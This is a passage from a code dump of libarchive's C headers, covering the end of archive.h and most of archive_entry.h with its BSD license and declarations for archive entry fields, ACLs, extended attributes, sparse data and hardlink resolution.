archive *, 1010 | int _flag, struct archive_entry *); 1011 | 1012 | /* 1013 | * Test if a file is excluded by its uid ,gid, uname or gname. 1014 | * The conditions are set by following functions. 1015 | */ 1016 | __LA_DECL int archive_match_owner_excluded(struct archive *, 1017 | struct archive_entry *); 1018 | /* Add inclusion uid, gid, uname and gname. */ 1019 | __LA_DECL int archive_match_include_uid(struct archive *, __LA_INT64_T); 1020 | __LA_DECL int archive_match_include_gid(struct archive *, __LA_INT64_T); 1021 | __LA_DECL int archive_match_include_uname(struct archive *, const char *); 1022 | __LA_DECL int archive_match_include_uname_w(struct archive *, 1023 | const wchar_t *); 1024 | __LA_DECL int archive_match_include_gname(struct archive *, const char *); 1025 | __LA_DECL int archive_match_include_gname_w(struct archive *, 1026 | const wchar_t *); 1027 | 1028 | #ifdef __cplusplus 1029 | } 1030 | #endif 1031 | 1032 | /* These are meaningless outside of this header. */ 1033 | #undef __LA_DECL 1034 | 1035 | /* These need to remain defined because they're used in the 1036 | * callback type definitions. XXX Fix this. This is ugly. XXX */ 1037 | /* #undef __LA_INT64_T */ 1038 | /* #undef __LA_SSIZE_T */ 1039 | 1040 | #endif /* !ARCHIVE_H_INCLUDED */ 1041 | -------------------------------------------------------------------------------- /include/libarchive/archive_entry.h: -------------------------------------------------------------------------------- 1 | /*- 2 | * Copyright (c) 2003-2008 Tim Kientzle 3 | * All rights reserved. 4 | * 5 | * Redistribution and use in source and binary forms, with or without 6 | * modification, are permitted provided that the following conditions 7 | * are met: 8 | * 1. Redistributions of source code must retain the above copyright 9 | * notice, this list of conditions and the following disclaimer. 10 | * 2. Redistributions in binary form must reproduce the above copyright 11 | * notice, this list of conditions and the following disclaimer in the 12 | * documentation and/or other materials provided with the distribution. 13 | * 14 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR 15 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 16 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 17 | * IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT, 18 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 19 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 20 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 21 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 23 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | * 25 | * $FreeBSD: head/lib/libarchive/archive_entry.h 201096 2009-12-28 02:41:27Z kientzle $ 26 | */ 27 | 28 | #ifndef ARCHIVE_ENTRY_H_INCLUDED 29 | #define ARCHIVE_ENTRY_H_INCLUDED 30 | 31 | /* Note: Compiler will complain if this does not match archive.h! */ 32 | #define ARCHIVE_VERSION_NUMBER 3001002 33 | 34 | /* 35 | * Note: archive_entry.h is for use outside of libarchive; the 36 | * configuration headers (config.h, archive_platform.h, etc.) are 37 | * purely internal. Do NOT use HAVE_XXX configuration macros to 38 | * control the behavior of this header! If you must conditionalize, 39 | * use predefined compiler and/or platform macros. 40 | */ 41 | 42 | #include 43 | #include /* for wchar_t */ 44 | #include 45 | 46 | #if defined(_WIN32) && !defined(__CYGWIN__) 47 | #include 48 | #endif 49 | 50 | /* Get a suitable 64-bit integer type. */ 51 | #if defined(_WIN32) && !defined(__CYGWIN__) 52 | # define __LA_INT64_T __int64 53 | #else 54 | #include 55 | # if defined(_SCO_DS) 56 | # define __LA_INT64_T long long 57 | # else 58 | # define __LA_INT64_T int64_t 59 | # endif 60 | #endif 61 | 62 | /* Get a suitable definition for mode_t */ 63 | #if ARCHIVE_VERSION_NUMBER >= 3999000 64 | /* Switch to plain 'int' for libarchive 4.0. It's less broken than 'mode_t' */ 65 | # define __LA_MODE_T int 66 | #elif defined(_WIN32) && !defined(__CYGWIN__) && !defined(__BORLANDC__) 67 | # define __LA_MODE_T unsigned short 68 | #else 69 | # define __LA_MODE_T mode_t 70 | #endif 71 | 72 | /* 73 | * On Windows, define LIBARCHIVE_STATIC if you're building or using a 74 | * .lib. The default here assumes you're building a DLL. Only 75 | * libarchive source should ever define __LIBARCHIVE_BUILD. 76 | */ 77 | #if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC) 78 | # ifdef __LIBARCHIVE_BUILD 79 | # ifdef __GNUC__ 80 | # define __LA_DECL __attribute__((dllexport)) extern 81 | # else 82 | # define __LA_DECL __declspec(dllexport) 83 | # endif 84 | # else 85 | # ifdef __GNUC__ 86 | # define __LA_DECL 87 | # else 88 | # define __LA_DECL __declspec(dllimport) 89 | # endif 90 | # endif 91 | #else 92 | /* Static libraries on all platforms and shared libraries on non-Windows. */ 93 | # define __LA_DECL 94 | #endif 95 | 96 | #ifdef __cplusplus 97 | extern "C" { 98 | #endif 99 | 100 | /* 101 | * Description of an archive entry. 102 | * 103 | * You can think of this as "struct stat" with some text fields added in. 104 | * 105 | * TODO: Add "comment", "charset", and possibly other entries that are 106 | * supported by "pax interchange" format. However, GNU, ustar, cpio, 107 | * and other variants don't support these features, so they're not an 108 | * excruciatingly high priority right now. 109 | * 110 | * TODO: "pax interchange" format allows essentially arbitrary 111 | * key/value attributes to be attached to any entry. Supporting 112 | * such extensions may make this library useful for special 113 | * applications (e.g., a package manager could attach special 114 | * package-management attributes to each entry). 115 | */ 116 | struct archive; 117 | struct archive_entry; 118 | 119 | /* 120 | * File-type constants. These are returned from archive_entry_filetype() 121 | * and passed to archive_entry_set_filetype(). 122 | * 123 | * These values match S_XXX defines on every platform I've checked, 124 | * including Windows, AIX, Linux, Solaris, and BSD. They're 125 | * (re)defined here because platforms generally don't define the ones 126 | * they don't support. For example, Windows doesn't define S_IFLNK or 127 | * S_IFBLK. Instead of having a mass of conditional logic and system 128 | * checks to define any S_XXX values that aren't supported locally, 129 | * I've just defined a new set of such constants so that 130 | * libarchive-based applications can manipulate and identify archive 131 | * entries properly even if the hosting platform can't store them on 132 | * disk. 133 | * 134 | * These values are also used directly within some portable formats, 135 | * such as cpio. If you find a platform that varies from these, the 136 | * correct solution is to leave these alone and translate from these 137 | * portable values to platform-native values when entries are read from 138 | * or written to disk. 139 | */ 140 | /* 141 | * In libarchive 4.0, we can drop the casts here. 142 | * They're needed to work around Borland C's broken mode_t. 143 | */ 144 | #define AE_IFMT ((__LA_MODE_T)0170000) 145 | #define AE_IFREG ((__LA_MODE_T)0100000) 146 | #define AE_IFLNK ((__LA_MODE_T)0120000) 147 | #define AE_IFSOCK ((__LA_MODE_T)0140000) 148 | #define AE_IFCHR ((__LA_MODE_T)0020000) 149 | #define AE_IFBLK ((__LA_MODE_T)0060000) 150 | #define AE_IFDIR ((__LA_MODE_T)0040000) 151 | #define AE_IFIFO ((__LA_MODE_T)0010000) 152 | 153 | /* 154 | * Basic object manipulation 155 | */ 156 | 157 | __LA_DECL struct archive_entry *archive_entry_clear(struct archive_entry *); 158 | /* The 'clone' function does a deep copy; all of the strings are copied too. */ 159 | __LA_DECL struct archive_entry *archive_entry_clone(struct archive_entry *); 160 | __LA_DECL void archive_entry_free(struct archive_entry *); 161 | __LA_DECL struct archive_entry *archive_entry_new(void); 162 | 163 | /* 164 | * This form of archive_entry_new2() will pull character-set 165 | * conversion information from the specified archive handle. The 166 | * older archive_entry_new(void) form is equivalent to calling 167 | * archive_entry_new2(NULL) and will result in the use of an internal 168 | * default character-set conversion. 169 | */ 170 | __LA_DECL struct archive_entry *archive_entry_new2(struct archive *); 171 | 172 | /* 173 | * Retrieve fields from an archive_entry. 174 | * 175 | * There are a number of implicit conversions among these fields. For 176 | * example, if a regular string field is set and you read the _w wide 177 | * character field, the entry will implicitly convert narrow-to-wide 178 | * using the current locale. Similarly, dev values are automatically 179 | * updated when you write devmajor or devminor and vice versa. 180 | * 181 | * In addition, fields can be "set" or "unset." Unset string fields 182 | * return NULL, non-string fields have _is_set() functions to test 183 | * whether they've been set. You can "unset" a string field by 184 | * assigning NULL; non-string fields have _unset() functions to 185 | * unset them. 186 | * 187 | * Note: There is one ambiguity in the above; string fields will 188 | * also return NULL when implicit character set conversions fail. 189 | * This is usually what you want. 190 | */ 191 | __LA_DECL time_t archive_entry_atime(struct archive_entry *); 192 | __LA_DECL long archive_entry_atime_nsec(struct archive_entry *); 193 | __LA_DECL int archive_entry_atime_is_set(struct archive_entry *); 194 | __LA_DECL time_t archive_entry_birthtime(struct archive_entry *); 195 | __LA_DECL long archive_entry_birthtime_nsec(struct archive_entry *); 196 | __LA_DECL int archive_entry_birthtime_is_set(struct archive_entry *); 197 | __LA_DECL time_t archive_entry_ctime(struct archive_entry *); 198 | __LA_DECL long archive_entry_ctime_nsec(struct archive_entry *); 199 | __LA_DECL int archive_entry_ctime_is_set(struct archive_entry *); 200 | __LA_DECL dev_t archive_entry_dev(struct archive_entry *); 201 | __LA_DECL int archive_entry_dev_is_set(struct archive_entry *); 202 | __LA_DECL dev_t archive_entry_devmajor(struct archive_entry *); 203 | __LA_DECL dev_t archive_entry_devminor(struct archive_entry *); 204 | __LA_DECL __LA_MODE_T archive_entry_filetype(struct archive_entry *); 205 | __LA_DECL void archive_entry_fflags(struct archive_entry *, 206 | unsigned long * /* set */, 207 | unsigned long * /* clear */); 208 | __LA_DECL const char *archive_entry_fflags_text(struct archive_entry *); 209 | __LA_DECL __LA_INT64_T archive_entry_gid(struct archive_entry *); 210 | __LA_DECL const char *archive_entry_gname(struct archive_entry *); 211 | __LA_DECL const wchar_t *archive_entry_gname_w(struct archive_entry *); 212 | __LA_DECL const char *archive_entry_hardlink(struct archive_entry *); 213 | __LA_DECL const wchar_t *archive_entry_hardlink_w(struct archive_entry *); 214 | __LA_DECL __LA_INT64_T archive_entry_ino(struct archive_entry *); 215 | __LA_DECL __LA_INT64_T archive_entry_ino64(struct archive_entry *); 216 | __LA_DECL int archive_entry_ino_is_set(struct archive_entry *); 217 | __LA_DECL __LA_MODE_T archive_entry_mode(struct archive_entry *); 218 | __LA_DECL time_t archive_entry_mtime(struct archive_entry *); 219 | __LA_DECL long archive_entry_mtime_nsec(struct archive_entry *); 220 | __LA_DECL int archive_entry_mtime_is_set(struct archive_entry *); 221 | __LA_DECL unsigned int archive_entry_nlink(struct archive_entry *); 222 | __LA_DECL const char *archive_entry_pathname(struct archive_entry *); 223 | __LA_DECL const wchar_t *archive_entry_pathname_w(struct archive_entry *); 224 | __LA_DECL __LA_MODE_T archive_entry_perm(struct archive_entry *); 225 | __LA_DECL dev_t archive_entry_rdev(struct archive_entry *); 226 | __LA_DECL dev_t archive_entry_rdevmajor(struct archive_entry *); 227 | __LA_DECL dev_t archive_entry_rdevminor(struct archive_entry *); 228 | __LA_DECL const char *archive_entry_sourcepath(struct archive_entry *); 229 | __LA_DECL const wchar_t *archive_entry_sourcepath_w(struct archive_entry *); 230 | __LA_DECL __LA_INT64_T archive_entry_size(struct archive_entry *); 231 | __LA_DECL int archive_entry_size_is_set(struct archive_entry *); 232 | __LA_DECL const char *archive_entry_strmode(struct archive_entry *); 233 | __LA_DECL const char *archive_entry_symlink(struct archive_entry *); 234 | __LA_DECL const wchar_t *archive_entry_symlink_w(struct archive_entry *); 235 | __LA_DECL __LA_INT64_T archive_entry_uid(struct archive_entry *); 236 | __LA_DECL const char *archive_entry_uname(struct archive_entry *); 237 | __LA_DECL const wchar_t *archive_entry_uname_w(struct archive_entry *); 238 | 239 | /* 240 | * Set fields in an archive_entry. 241 | * 242 | * Note: Before libarchive 2.4, there were 'set' and 'copy' versions 243 | * of the string setters. 'copy' copied the actual string, 'set' just 244 | * stored the pointer. In libarchive 2.4 and later, strings are 245 | * always copied. 246 | */ 247 | 248 | __LA_DECL void archive_entry_set_atime(struct archive_entry *, time_t, long); 249 | __LA_DECL void archive_entry_unset_atime(struct archive_entry *); 250 | #if defined(_WIN32) && !defined(__CYGWIN__) 251 | __LA_DECL void archive_entry_copy_bhfi(struct archive_entry *, BY_HANDLE_FILE_INFORMATION *); 252 | #endif 253 | __LA_DECL void archive_entry_set_birthtime(struct archive_entry *, time_t, long); 254 | __LA_DECL void archive_entry_unset_birthtime(struct archive_entry *); 255 | __LA_DECL void archive_entry_set_ctime(struct archive_entry *, time_t, long); 256 | __LA_DECL void archive_entry_unset_ctime(struct archive_entry *); 257 | __LA_DECL void archive_entry_set_dev(struct archive_entry *, dev_t); 258 | __LA_DECL void archive_entry_set_devmajor(struct archive_entry *, dev_t); 259 | __LA_DECL void archive_entry_set_devminor(struct archive_entry *, dev_t); 260 | __LA_DECL void archive_entry_set_filetype(struct archive_entry *, unsigned int); 261 | __LA_DECL void archive_entry_set_fflags(struct archive_entry *, 262 | unsigned long /* set */, unsigned long /* clear */); 263 | /* Returns pointer to start of first invalid token, or NULL if none. */ 264 | /* Note that all recognized tokens are processed, regardless. */ 265 | __LA_DECL const char *archive_entry_copy_fflags_text(struct archive_entry *, 266 | const char *); 267 | __LA_DECL const wchar_t *archive_entry_copy_fflags_text_w(struct archive_entry *, 268 | const wchar_t *); 269 | __LA_DECL void archive_entry_set_gid(struct archive_entry *, __LA_INT64_T); 270 | __LA_DECL void archive_entry_set_gname(struct archive_entry *, const char *); 271 | __LA_DECL void archive_entry_copy_gname(struct archive_entry *, const char *); 272 | __LA_DECL void archive_entry_copy_gname_w(struct archive_entry *, const wchar_t *); 273 | __LA_DECL int archive_entry_update_gname_utf8(struct archive_entry *, const char *); 274 | __LA_DECL void archive_entry_set_hardlink(struct archive_entry *, const char *); 275 | __LA_DECL void archive_entry_copy_hardlink(struct archive_entry *, const char *); 276 | __LA_DECL void archive_entry_copy_hardlink_w(struct archive_entry *, const wchar_t *); 277 | __LA_DECL int archive_entry_update_hardlink_utf8(struct archive_entry *, const char *); 278 | __LA_DECL void archive_entry_set_ino(struct archive_entry *, __LA_INT64_T); 279 | __LA_DECL void archive_entry_set_ino64(struct archive_entry *, __LA_INT64_T); 280 | __LA_DECL void archive_entry_set_link(struct archive_entry *, const char *); 281 | __LA_DECL void archive_entry_copy_link(struct archive_entry *, const char *); 282 | __LA_DECL void archive_entry_copy_link_w(struct archive_entry *, const wchar_t *); 283 | __LA_DECL int archive_entry_update_link_utf8(struct archive_entry *, const char *); 284 | __LA_DECL void archive_entry_set_mode(struct archive_entry *, __LA_MODE_T); 285 | __LA_DECL void archive_entry_set_mtime(struct archive_entry *, time_t, long); 286 | __LA_DECL void archive_entry_unset_mtime(struct archive_entry *); 287 | __LA_DECL void archive_entry_set_nlink(struct archive_entry *, unsigned int); 288 | __LA_DECL void archive_entry_set_pathname(struct archive_entry *, const char *); 289 | __LA_DECL void archive_entry_copy_pathname(struct archive_entry *, const char *); 290 | __LA_DECL void archive_entry_copy_pathname_w(struct archive_entry *, const wchar_t *); 291 | __LA_DECL int archive_entry_update_pathname_utf8(struct archive_entry *, const char *); 292 | __LA_DECL void archive_entry_set_perm(struct archive_entry *, __LA_MODE_T); 293 | __LA_DECL void archive_entry_set_rdev(struct archive_entry *, dev_t); 294 | __LA_DECL void archive_entry_set_rdevmajor(struct archive_entry *, dev_t); 295 | __LA_DECL void archive_entry_set_rdevminor(struct archive_entry *, dev_t); 296 | __LA_DECL void archive_entry_set_size(struct archive_entry *, __LA_INT64_T); 297 | __LA_DECL void archive_entry_unset_size(struct archive_entry *); 298 | __LA_DECL void archive_entry_copy_sourcepath(struct archive_entry *, const char *); 299 | __LA_DECL void archive_entry_copy_sourcepath_w(struct archive_entry *, const wchar_t *); 300 | __LA_DECL void archive_entry_set_symlink(struct archive_entry *, const char *); 301 | __LA_DECL void archive_entry_copy_symlink(struct archive_entry *, const char *); 302 | __LA_DECL void archive_entry_copy_symlink_w(struct archive_entry *, const wchar_t *); 303 | __LA_DECL int archive_entry_update_symlink_utf8(struct archive_entry *, const char *); 304 | __LA_DECL void archive_entry_set_uid(struct archive_entry *, __LA_INT64_T); 305 | __LA_DECL void archive_entry_set_uname(struct archive_entry *, const char *); 306 | __LA_DECL void archive_entry_copy_uname(struct archive_entry *, const char *); 307 | __LA_DECL void archive_entry_copy_uname_w(struct archive_entry *, const wchar_t *); 308 | __LA_DECL int archive_entry_update_uname_utf8(struct archive_entry *, const char *); 309 | /* 310 | * Routines to bulk copy fields to/from a platform-native "struct 311 | * stat." Libarchive used to just store a struct stat inside of each 312 | * archive_entry object, but this created issues when trying to 313 | * manipulate archives on systems different than the ones they were 314 | * created on. 315 | * 316 | * TODO: On Linux and other LFS systems, provide both stat32 and 317 | * stat64 versions of these functions and all of the macro glue so 318 | * that archive_entry_stat is magically defined to 319 | * archive_entry_stat32 or archive_entry_stat64 as appropriate. 320 | */ 321 | __LA_DECL const struct stat *archive_entry_stat(struct archive_entry *); 322 | __LA_DECL void archive_entry_copy_stat(struct archive_entry *, const struct stat *); 323 | 324 | /* 325 | * Storage for Mac OS-specific AppleDouble metadata information. 326 | * Apple-format tar files store a separate binary blob containing 327 | * encoded metadata with ACL, extended attributes, etc. 328 | * This provides a place to store that blob. 329 | */ 330 | 331 | __LA_DECL const void * archive_entry_mac_metadata(struct archive_entry *, size_t *); 332 | __LA_DECL void archive_entry_copy_mac_metadata(struct archive_entry *, const void *, size_t); 333 | 334 | /* 335 | * ACL routines. This used to simply store and return text-format ACL 336 | * strings, but that proved insufficient for a number of reasons: 337 | * = clients need control over uname/uid and gname/gid mappings 338 | * = there are many different ACL text formats 339 | * = would like to be able to read/convert archives containing ACLs 340 | * on platforms that lack ACL libraries 341 | * 342 | * This last point, in particular, forces me to implement a reasonably 343 | * complete set of ACL support routines. 344 | */ 345 | 346 | /* 347 | * Permission bits. 348 | */ 349 | #define ARCHIVE_ENTRY_ACL_EXECUTE 0x00000001 350 | #define ARCHIVE_ENTRY_ACL_WRITE 0x00000002 351 | #define ARCHIVE_ENTRY_ACL_READ 0x00000004 352 | #define ARCHIVE_ENTRY_ACL_READ_DATA 0x00000008 353 | #define ARCHIVE_ENTRY_ACL_LIST_DIRECTORY 0x00000008 354 | #define ARCHIVE_ENTRY_ACL_WRITE_DATA 0x00000010 355 | #define ARCHIVE_ENTRY_ACL_ADD_FILE 0x00000010 356 | #define ARCHIVE_ENTRY_ACL_APPEND_DATA 0x00000020 357 | #define ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY 0x00000020 358 | #define ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS 0x00000040 359 | #define ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS 0x00000080 360 | #define ARCHIVE_ENTRY_ACL_DELETE_CHILD 0x00000100 361 | #define ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES 0x00000200 362 | #define ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES 0x00000400 363 | #define ARCHIVE_ENTRY_ACL_DELETE 0x00000800 364 | #define ARCHIVE_ENTRY_ACL_READ_ACL 0x00001000 365 | #define ARCHIVE_ENTRY_ACL_WRITE_ACL 0x00002000 366 | #define ARCHIVE_ENTRY_ACL_WRITE_OWNER 0x00004000 367 | #define ARCHIVE_ENTRY_ACL_SYNCHRONIZE 0x00008000 368 | 369 | #define ARCHIVE_ENTRY_ACL_PERMS_POSIX1E \ 370 | (ARCHIVE_ENTRY_ACL_EXECUTE \ 371 | | ARCHIVE_ENTRY_ACL_WRITE \ 372 | | ARCHIVE_ENTRY_ACL_READ) 373 | 374 | #define ARCHIVE_ENTRY_ACL_PERMS_NFS4 \ 375 | (ARCHIVE_ENTRY_ACL_EXECUTE \ 376 | | ARCHIVE_ENTRY_ACL_READ_DATA \ 377 | | ARCHIVE_ENTRY_ACL_LIST_DIRECTORY \ 378 | | ARCHIVE_ENTRY_ACL_WRITE_DATA \ 379 | | ARCHIVE_ENTRY_ACL_ADD_FILE \ 380 | | ARCHIVE_ENTRY_ACL_APPEND_DATA \ 381 | | ARCHIVE_ENTRY_ACL_ADD_SUBDIRECTORY \ 382 | | ARCHIVE_ENTRY_ACL_READ_NAMED_ATTRS \ 383 | | ARCHIVE_ENTRY_ACL_WRITE_NAMED_ATTRS \ 384 | | ARCHIVE_ENTRY_ACL_DELETE_CHILD \ 385 | | ARCHIVE_ENTRY_ACL_READ_ATTRIBUTES \ 386 | | ARCHIVE_ENTRY_ACL_WRITE_ATTRIBUTES \ 387 | | ARCHIVE_ENTRY_ACL_DELETE \ 388 | | ARCHIVE_ENTRY_ACL_READ_ACL \ 389 | | ARCHIVE_ENTRY_ACL_WRITE_ACL \ 390 | | ARCHIVE_ENTRY_ACL_WRITE_OWNER \ 391 | | ARCHIVE_ENTRY_ACL_SYNCHRONIZE) 392 | 393 | /* 394 | * Inheritance values (NFS4 ACLs only); included in permset. 395 | */ 396 | #define ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT 0x02000000 397 | #define ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT 0x04000000 398 | #define ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT 0x08000000 399 | #define ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY 0x10000000 400 | #define ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS 0x20000000 401 | #define ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS 0x40000000 402 | 403 | #define ARCHIVE_ENTRY_ACL_INHERITANCE_NFS4 \ 404 | (ARCHIVE_ENTRY_ACL_ENTRY_FILE_INHERIT \ 405 | | ARCHIVE_ENTRY_ACL_ENTRY_DIRECTORY_INHERIT \ 406 | | ARCHIVE_ENTRY_ACL_ENTRY_NO_PROPAGATE_INHERIT \ 407 | | ARCHIVE_ENTRY_ACL_ENTRY_INHERIT_ONLY \ 408 | | ARCHIVE_ENTRY_ACL_ENTRY_SUCCESSFUL_ACCESS \ 409 | | ARCHIVE_ENTRY_ACL_ENTRY_FAILED_ACCESS) 410 | 411 | /* We need to be able to specify combinations of these. */ 412 | #define ARCHIVE_ENTRY_ACL_TYPE_ACCESS 256 /* POSIX.1e only */ 413 | #define ARCHIVE_ENTRY_ACL_TYPE_DEFAULT 512 /* POSIX.1e only */ 414 | #define ARCHIVE_ENTRY_ACL_TYPE_ALLOW 1024 /* NFS4 only */ 415 | #define ARCHIVE_ENTRY_ACL_TYPE_DENY 2048 /* NFS4 only */ 416 | #define ARCHIVE_ENTRY_ACL_TYPE_AUDIT 4096 /* NFS4 only */ 417 | #define ARCHIVE_ENTRY_ACL_TYPE_ALARM 8192 /* NFS4 only */ 418 | #define ARCHIVE_ENTRY_ACL_TYPE_POSIX1E (ARCHIVE_ENTRY_ACL_TYPE_ACCESS \ 419 | | ARCHIVE_ENTRY_ACL_TYPE_DEFAULT) 420 | #define ARCHIVE_ENTRY_ACL_TYPE_NFS4 (ARCHIVE_ENTRY_ACL_TYPE_ALLOW \ 421 | | ARCHIVE_ENTRY_ACL_TYPE_DENY \ 422 | | ARCHIVE_ENTRY_ACL_TYPE_AUDIT \ 423 | | ARCHIVE_ENTRY_ACL_TYPE_ALARM) 424 | 425 | /* Tag values mimic POSIX.1e */ 426 | #define ARCHIVE_ENTRY_ACL_USER 10001 /* Specified user. */ 427 | #define ARCHIVE_ENTRY_ACL_USER_OBJ 10002 /* User who owns the file. */ 428 | #define ARCHIVE_ENTRY_ACL_GROUP 10003 /* Specified group. */ 429 | #define ARCHIVE_ENTRY_ACL_GROUP_OBJ 10004 /* Group who owns the file. */ 430 | #define ARCHIVE_ENTRY_ACL_MASK 10005 /* Modify group access (POSIX.1e only) */ 431 | #define ARCHIVE_ENTRY_ACL_OTHER 10006 /* Public (POSIX.1e only) */ 432 | #define ARCHIVE_ENTRY_ACL_EVERYONE 10107 /* Everyone (NFS4 only) */ 433 | 434 | /* 435 | * Set the ACL by clearing it and adding entries one at a time. 436 | * Unlike the POSIX.1e ACL routines, you must specify the type 437 | * (access/default) for each entry. Internally, the ACL data is just 438 | * a soup of entries. API calls here allow you to retrieve just the 439 | * entries of interest. This design (which goes against the spirit of 440 | * POSIX.1e) is useful for handling archive formats that combine 441 | * default and access information in a single ACL list. 442 | */ 443 | __LA_DECL void archive_entry_acl_clear(struct archive_entry *); 444 | __LA_DECL int archive_entry_acl_add_entry(struct archive_entry *, 445 | int /* type */, int /* permset */, int /* tag */, 446 | int /* qual */, const char * /* name */); 447 | __LA_DECL int archive_entry_acl_add_entry_w(struct archive_entry *, 448 | int /* type */, int /* permset */, int /* tag */, 449 | int /* qual */, const wchar_t * /* name */); 450 | 451 | /* 452 | * To retrieve the ACL, first "reset", then repeatedly ask for the 453 | * "next" entry. The want_type parameter allows you to request only 454 | * certain types of entries. 455 | */ 456 | __LA_DECL int archive_entry_acl_reset(struct archive_entry *, int /* want_type */); 457 | __LA_DECL int archive_entry_acl_next(struct archive_entry *, int /* want_type */, 458 | int * /* type */, int * /* permset */, int * /* tag */, 459 | int * /* qual */, const char ** /* name */); 460 | __LA_DECL int archive_entry_acl_next_w(struct archive_entry *, int /* want_type */, 461 | int * /* type */, int * /* permset */, int * /* tag */, 462 | int * /* qual */, const wchar_t ** /* name */); 463 | 464 | /* 465 | * Construct a text-format ACL. The flags argument is a bitmask that 466 | * can include any of the following: 467 | * 468 | * ARCHIVE_ENTRY_ACL_TYPE_ACCESS - Include POSIX.1e "access" entries. 469 | * ARCHIVE_ENTRY_ACL_TYPE_DEFAULT - Include POSIX.1e "default" entries. 470 | * ARCHIVE_ENTRY_ACL_TYPE_NFS4 - Include NFS4 entries. 471 | * ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID - Include extra numeric ID field in 472 | * each ACL entry. ('star' introduced this for POSIX.1e, this flag 473 | * also applies to NFS4.) 474 | * ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT - Include "default:" before each 475 | * default ACL entry, as used in old Solaris ACLs. 476 | */ 477 | #define ARCHIVE_ENTRY_ACL_STYLE_EXTRA_ID 1024 478 | #define ARCHIVE_ENTRY_ACL_STYLE_MARK_DEFAULT 2048 479 | __LA_DECL const wchar_t *archive_entry_acl_text_w(struct archive_entry *, 480 | int /* flags */); 481 | __LA_DECL const char *archive_entry_acl_text(struct archive_entry *, 482 | int /* flags */); 483 | 484 | /* Return a count of entries matching 'want_type' */ 485 | __LA_DECL int archive_entry_acl_count(struct archive_entry *, int /* want_type */); 486 | 487 | /* Return an opaque ACL object. */ 488 | /* There's not yet anything clients can actually do with this... */ 489 | struct archive_acl; 490 | __LA_DECL struct archive_acl *archive_entry_acl(struct archive_entry *); 491 | 492 | /* 493 | * extended attributes 494 | */ 495 | 496 | __LA_DECL void archive_entry_xattr_clear(struct archive_entry *); 497 | __LA_DECL void archive_entry_xattr_add_entry(struct archive_entry *, 498 | const char * /* name */, const void * /* value */, 499 | size_t /* size */); 500 | 501 | /* 502 | * To retrieve the xattr list, first "reset", then repeatedly ask for the 503 | * "next" entry. 504 | */ 505 | 506 | __LA_DECL int archive_entry_xattr_count(struct archive_entry *); 507 | __LA_DECL int archive_entry_xattr_reset(struct archive_entry *); 508 | __LA_DECL int archive_entry_xattr_next(struct archive_entry *, 509 | const char ** /* name */, const void ** /* value */, size_t *); 510 | 511 | /* 512 | * sparse 513 | */ 514 | 515 | __LA_DECL void archive_entry_sparse_clear(struct archive_entry *); 516 | __LA_DECL void archive_entry_sparse_add_entry(struct archive_entry *, 517 | __LA_INT64_T /* offset */, __LA_INT64_T /* length */); 518 | 519 | /* 520 | * To retrieve the xattr list, first "reset", then repeatedly ask for the 521 | * "next" entry. 522 | */ 523 | 524 | __LA_DECL int archive_entry_sparse_count(struct archive_entry *); 525 | __LA_DECL int archive_entry_sparse_reset(struct archive_entry *); 526 | __LA_DECL int archive_entry_sparse_next(struct archive_entry *, 527 | __LA_INT64_T * /* offset */, __LA_INT64_T * /* length */); 528 | 529 | /* 530 | * Utility to match up hardlinks. 531 | * 532 | * The 'struct archive_entry_linkresolver' is a cache of archive entries 533 | * for files with multiple links. Here's how to use it: 534 | * 1. Create a lookup object with archive_entry_linkresolver_new() 535 | * 2. Tell it the archive format you're using. 536 | * 3. Hand each archive_entry to archive_entry_linkify(). 537 | * That function will return 0, 1, or 2 entries that should 538 | * be written. 539 | * 4. Call archive_entry_linkify(resolver, NULL) until 540 | * no more entries are returned. 541 | * 5. Call archive_entry_linkresolver_free(resolver) to free resources. 542 | * 543 | * The entries returned have their hardlink and size fields updated 544 | * appropriately. If an entry is passed in that does not refer to 545 | * a file with multiple links, it is returned unchanged. The intention 546 | * is that you should be able to simply filter all entries through 547 | * this machine. 548 | * 549 | * To make things more efficient, be sure that each entry has a valid 550 | * nlinks value. The hardlink cache uses this to track when all links 551 | * have been found. If the nlinks value is zero, it will keep every 552 | * name in the cache indefinitely, which can use a lot of memory. 553 | * 554 | * Note that archive_entry_size() is reset to zero if the file 555 | * body should not be written to the archive. Pay attention! 556 | */ 557 | struct archive_entry_linkresolver; 558 | 559 | /* 560 | * There are three different strategies for marking hardlinks. 561 | * The descriptions below name them after the best-known 562 | * formats that rely on each strategy: 563 | * 564 | * "Old cpio" is the simplest, it always returns any entry unmodified. 565 | * As far as I know, only cpio formats use this. Old cpio archives 566 | * store every link with the full body; the onus is on the dearchiver 567 | * to detect and properly link the files as they are restored. 568 | * "tar" is also pretty simple; it caches a copy the first time it sees 569 | * any link. Subsequent appearances are modified to be hardlink 570 | * references to the first one without any body. Used by all tar 571 | * formats, although the newest tar formats permit the "old 